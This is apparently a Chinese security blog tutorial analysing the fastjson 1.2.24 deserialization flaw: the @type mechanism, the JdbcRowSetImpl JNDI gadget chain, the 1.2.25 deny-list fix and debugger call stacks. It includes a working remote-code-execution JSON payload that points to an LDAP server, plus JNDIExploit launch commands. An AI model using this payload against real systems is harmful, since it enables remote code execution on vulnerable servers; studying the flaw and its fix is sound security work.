前言
前面讲了JNDI注入相关的知识,不实际操作操作怎么能行呢!
这里就主要分析一下fastjson 1.2.24
版本的反序列化漏洞,这个漏洞比较普遍的利用手法就是通过JNDI注入的方式实现RCE,所以是一个不得不分析的JNDI注入实践案例!
这里不同与我们之前分析的反序列化,fastjson是一个非常流行的库,它可以将数据在JSON
和Java Object
之间互相转换,我们常说的fastjson序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象。
DEMO
环境搭建
- pom.xml
```
com.alibaba fastjson 1.2.24
### 序列化
package org.example;
import com.alibaba.fastjson.JSON;
public class App { public static void main( String[] args ){ User user = new User(); user.setAge(66); user.setUsername(“test”);
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
class User{ private String username; private int age;
public void setUsername(String username) {
this.username = username;
}
public String getUsername() {
return username;
}
public void setAge(int age) {
this.age = age;
}
public int getAge() {
return age;
}
}
运行后,得到对应的JSON格式字符串<br />![image-20210918114938458](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987044606-59a230fc-db13-4c9c-9cc8-6ab65bef4d20.png)
### 反序列化‼️
> **fastjson反序列化到对应类的过程中**会自动调用目标对象的`setXXX`方法,例如`{"age":66,"username":"test"}`被反序列化为`User`类时会自动调用`User`类的`setAge`以及`setUsername`方法,实践出真知
修改一下`User`类,在`setXXX`方法里面添加输出
class User{ private String username; private int age;
public void setUsername(String username) {
this.username = username;
System.out.println("call setUsername");
}
public String getUsername() {
return username;
}
public void setAge(int age) {
this.age = age;
System.out.println("call setAge");
}
public int getAge() {
return age;
}
}
修改`App`启动类,反序列化生成`User`对象
package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;
public class App { public static void main( String[] args ){ String json = “{\”age\”:66,\”username\”:\”test\”}”; User user = JSON.parseObject(json, User.class); // 后面的User.class表示反序列化为User类 } }
执行后,可以看到在反序列化的过程中确实调用了`setXXX`的方法<br />![image-20210918120111045](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987047636-7b932fbe-c9df-4439-8d62-43a3b0831110.png)<br />这里我们反序列化使用的是`parseObject()`方法,其实也可以用到`parse()`方法,`parseObject()` 本质上也是调用 `parse()` 进行反序列化的。但是 `parseObject()` 会额外的将Java对象转为 `JSONObject`对象,即 `JSON.toJSON()`;<br />他们的最主要的区别就是前者返回的是`JSONObject`,而后者会识别并调用目标类的 `setter` 方法及某些特定条件的 `getter` 方法,返回的是实际类型的对象;当在没有对应类的定义的情况下(没有在`@type`声明类),通常情况下都会使用`JSON.parseObject`来获取数据。<br />![image-20210918121239396](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987049962-f165cd9d-0460-45d0-bdcd-67759cde5bd5.png)<br />由于`JSON.parseObject()`要反序列化到**对应的对象(比如demo中的User类对象,需要将第二个参数设置为`User.class`)**才会触发类的`setXXX`方法,而直接使用该方法返回的是`JSONObject`对象,是不会触发`setXXX`方法的(因为JVM也不知道是哪个类的对象)<br />那要怎么处理才能让`JSON.parseObject()`在调用时,不输入第二个参数也能执行`setXXX`方法呢,答案就是上面利用`parse()`方法使到的用`@type`属性。<br />**fastjson接受的JSON可以通过`@type`字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。**<br />举个例子:
package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;
public class App { public static void main(String[] args) { String json1 = “{\”age\”:66,\”username\”:\”test\”}”; String json2 = “{\”@type\”:\”org.example.User\”, \”age\”:66,\”username\”:\”test\”}”;
System.out.println("反序列化JSON1");
JSON.parseObject(json1);
System.out.println("反序列化JSON1");
JSON.parseObject(json2);
}
}
class User { private String username; private int age;
public void setUsername(String username) {
this.username = username;
System.out.println("call setUsername");
}
public String getUsername() {
return username;
}
public void setAge(int age) {
this.age = age;
System.out.println("call setAge");
}
public int getAge() {
return age;
}
}
执行后,没有`@type`返回`JSONObject`,有`@type`则返回对应的类对象且成功调用了`setXXX`方法<br />![image-20210918122258147](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987052535-3f5f9b22-5e52-466b-8f49-62014c23e84f.png)<br />可见`@type`参数的作用就是指定json字符串要反序列化为哪个类的对象,而就是这个属性,让我们能够对其进行漏洞利用。
## 利用链
### 分析
由于在反序列化的过程中会自动调用`@type`类中相关的`setXXX`方法,如果我们能找到一个类,且这个类的`setXXX`方法可以通过我们对参数的构造达到命令执行的效果,那攻击的目的不就达到了吗?
> 如果需要还原出private属性的话,还需要在`JSON.parseObject`/`JSON.parse`中加上`Feature.SupportNonPublicField`参数。
> 不过一般没人会给私有属性加setter方法,加了就没必要声明为private了
经过大佬们的分析,就发现了`com.sun.rowset.JdbcRowSetImpl`这个类可以被利用<br />这个类中有很多的`setXXX`方法,但我们需要利用的,则是`setDataSourceName()`和`setAutoCommit()`这两个方法
- `JdbcRowSetImpl.setDataSourceName`
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
这里调用了父类的`setDataSourceName`方法,跟一下
- `BaseRowSet.setDataSourceName`
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
可以看到就是设置了`dataSource`
- `JdbcRowSetImpl.setAutoCommit`
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
进行了`connect()`操作,跟进`connect()`
- `JdbcRowSetImpl.connect`
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到这里有JNDI注入中的`lookup`的调用,而调用的参数就是刚才设置的`dataSource`,这个是我们可以控制的,如果让他加载恶意的`Reference类`,那么我们的目的就达成了。
### 利用
根据之前的学习和分析,利用类`com.sun.rowset.JdbcRowSetImpl`,利用的`set`方法`setDataSourceName`和`setAutoCommit`,构造payload
{ “@type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “恶意的Reference类”, “autoCommit”: true/false }
### 复现
直接用[`JNDIExploit`](https://github.com/feihong-cs/JNDIExploit.git)同时启动`ldap`和`http`服务,好处就是不需要自己手动编译class什么的了<br />当然也可以使用[`marshalsec`](https://github.com/mbechler/marshalsec)快速开启rmi或者ldap服务,再手动开启http服务
查看用法
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -l 9999 -p 8888 -u
启动服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -l 9999 -p 8888
![image-20210918140313876](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987058387-09c97772-ac6a-4759-9c8b-46ec03ab52f2.png)<br />反序列化json
package org.example;
import com.alibaba.fastjson.JSON;
public class App { public static void main(String[] args) { // 高版本的JDK,需要设置一下,低版本的可以忽略,参考JNDI注入文章 System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “true”); String json = “{\”@type\”: \”com.sun.rowset.JdbcRowSetImpl\”,\”dataSourceName\”: \”ldap://127.0.0.1:9999/Basic/Command/open -na Calculator\”,\”autoCommit\”: false}”; JSON.parseObject(json); } }
![image-20210918140023685](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987061871-e18075cf-18e9-4d14-978e-067eb640a195.png)
## 总结
整个过程其实也很简单,就是fastjson在反序列化的时候,会调用对应类设置了参数的`setXXX`方法,只需要找到一些对应的链,同时jdk满足要求就可以命令执行。
## DEBUG分析
- 代码举例
package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;
public class App { public static void main(String[] args) { String json = “{\”@type\”:\”org.example.User\”,\”age\”:66,\”username\”:\”test\”}”; JSONObject jsonObject = JSON.parseObject(json); } }
class User { private String username; private int age;
public void setUsername(String username) {
this.username = username;
System.out.println("call setUsername");
}
public String getUsername() {
return username;
}
public void setAge(int age) {
this.age = age;
System.out.println("call setAge");
}
public int getAge() {
return age;
}
}
因为我们现在知道反序列化的时候会调用`setXXX`的方法,所以现在`setXXX`方法处下个断点,看看堆栈情况
setAge:28, User (org.example) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) parseObject:201, JSON (com.alibaba.fastjson) main:10, App (org.example)
![image-20210925170429925](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987064736-dfcb1d71-d40f-4acc-a6b9-6f251a234e74.png)<br />然后从下向上定位分析就行了,调用了哪个包重哪些类的哪些方法,一应俱全,避免一直F7、F8浪费时间,可以把精力放到参数的传递追踪上。
## 修复方案
1.2.25官方对漏洞进行了修复,对更新的源码进行比较,主要的更新在`checkAutoType`函数
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } else { String className = typeName.replace(‘$’, ‘.’); if (this.autoTypeSupport || expectClass != null) { int i; String deny; for(i = 0; i < this.acceptList.length; ++i) { deny = this.acceptList[i]; if (className.startsWith(deny)) { return TypeUtils.loadClass(typeName, this.defaultClassLoader); } }
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
这里遍历denyList数组,只要引用的库中是以我们的黑名单中的字符串开头的就直接抛出异常中断运行。<br />denyList数组,主要利用黑名单机制把常用的反序列化利用库都添加到黑名单中,主要有:
bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
## 一些细节
`parseObject(String text)`在反序列化时也会调用`getter`方法,所以也是一个可利用的点,只不过比较鸡肋,符合条件的利用链很少
### 举例演示
package org.example;
import com.alibaba.fastjson.JSON;
public class App { public static void main(String[] args) { String json = “{\”@type\”:\”org.example.User\”,\”age\”:66,\”username\”:\”test\”}”; System.out.println(“parseObject(String)”); JSON.parseObject(json);
System.out.println("parse(String)");
JSON.parse(json);
}
}
class User { private String username; private int age;
public void setUsername(String username) {
this.username = username;
System.out.println("call setUsername");
}
public String getUsername() {
System.out.println("call getUsername");
return username;
}
public void setAge(int age) {
this.age = age;
System.out.println("call setAge");
}
public int getAge() {
System.out.println("call getAge");
return age;
}
}
![image-20210927110649337](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987067510-6f24a6b0-6da2-4f40-954b-01e0902b8778.png)
### 分析
为什么会调用`getter()`方法呢?在`getter()`方法的地方下断点,查看调用栈<br />![image-20210927111313273](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987069813-83abc21a-5802-4c02-9cc2-aaef31b51c4c.png)
getAge:37, User (org.example) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) get:451, FieldInfo (com.alibaba.fastjson.util) getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer) getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer) toJSON:902, JSON (com.alibaba.fastjson) toJSON:824, JSON (com.alibaba.fastjson) parseObject:206, JSON (com.alibaba.fastjson) main:10, App (org.example)
``
分析调用栈,首先进入
parseObject方法,然后正常调用
parse方法(PS:此时
setter方法已经被调用了,可以查看
Console栏当前输出的情况)<br />![image-20210927111400714](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987073269-822d60a6-7c1c-47a2-aa32-c3bd598e69ae.png)<br />所以调用
getter方法的原因,不是出在
parse函数里面,而是调用了
(JSONObject)toJSON(obj)方法<br />继续跟
toJSON方法,发现会到
javaBeanSerializer.getFieldValuesMap(javaObject)<br />![image-20210927112551712](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987076805-47346f8c-2703-48f1-83e3-716f0328081d.png)<br />查看当前的变量,
javaBeanSerializer中的
getters存放了相关的
getter方法后缀,
javaObject中存放了相关变量的值<br />跟进
getFieldValuesMap,发现通过
Map.put存入数据,值通过
getter.getPropertyValue(object)进行获取,
object存放的是
setter设置的变量名和值<br />![image-20210927114607224](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987081303-39fa3997-0d5b-4fe2-96b8-c7aa03f1db63.png)<br />跟进
getPropertyValue,会调用
this.fieldInfo.get方法<br />![image-20210927115127938](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987084883-25dc2044-505b-4faf-ac11-74fd15244a73.png)<br />跟进
get,发现反射调用
User类的
getAge()方法<br />![image-20210927115417279](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987088413-01bfad14-74d3-44a5-ac24-8144c8a610cd.png)<br />所以
getter`方法被执行了